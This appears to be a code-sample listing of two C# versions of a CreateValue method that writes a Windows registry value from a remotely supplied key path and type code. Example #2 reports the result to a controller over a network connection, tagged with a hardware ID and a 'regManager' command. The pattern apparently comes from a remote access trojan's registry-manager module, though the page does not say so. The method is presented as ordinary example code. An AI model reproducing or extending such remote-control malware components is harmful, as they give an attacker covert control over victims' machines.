Example #1
0
        public void CreateValue(string KeyPath, string Kindstring)
        {
            string            errorMsg;
            string            newKeyName = "";
            RegistryValueKind Kind       = RegistryValueKind.None;

            switch (Kindstring)
            {
            case "-1":
            {
                Kind = RegistryValueKind.None;
                break;
            }

            case "0":
            {
                Kind = RegistryValueKind.Unknown;
                break;
            }

            case "1":
            {
                Kind = RegistryValueKind.String;
                break;
            }

            case "2":
            {
                Kind = RegistryValueKind.ExpandString;
                break;
            }

            case "3":
            {
                Kind = RegistryValueKind.Binary;
                break;
            }

            case "4":
            {
                Kind = RegistryValueKind.DWord;
                break;
            }

            case "7":
            {
                Kind = RegistryValueKind.MultiString;
                break;
            }

            case "11":
            {
                Kind = RegistryValueKind.QWord;
                break;
            }
            }
            try
            {
                RegistryEditor.CreateRegistryValue(KeyPath, Kind, out newKeyName, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Example #2
0
        public void CreateValue(string KeyPath, string Kindstring)
        {
            string            errorMsg;
            string            newKeyName = "";
            RegistryValueKind Kind       = RegistryValueKind.None;

            switch (Kindstring)
            {
            case "-1":
            {
                Kind = RegistryValueKind.None;
                break;
            }

            case "0":
            {
                Kind = RegistryValueKind.Unknown;
                break;
            }

            case "1":
            {
                Kind = RegistryValueKind.String;
                break;
            }

            case "2":
            {
                Kind = RegistryValueKind.ExpandString;
                break;
            }

            case "3":
            {
                Kind = RegistryValueKind.Binary;
                break;
            }

            case "4":
            {
                Kind = RegistryValueKind.DWord;
                break;
            }

            case "7":
            {
                Kind = RegistryValueKind.MultiString;
                break;
            }

            case "11":
            {
                Kind = RegistryValueKind.QWord;
                break;
            }
            }
            try
            {
                RegistryEditor.CreateRegistryValue(KeyPath, Kind, out newKeyName, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString    = "regManager";
                msgpack.ForcePathObject("Hwid").AsString       = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString    = "CreateValue";
                msgpack.ForcePathObject("keyPath").AsString    = KeyPath;
                msgpack.ForcePathObject("Kindstring").AsString = Kindstring;
                msgpack.ForcePathObject("newKeyName").AsString = newKeyName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }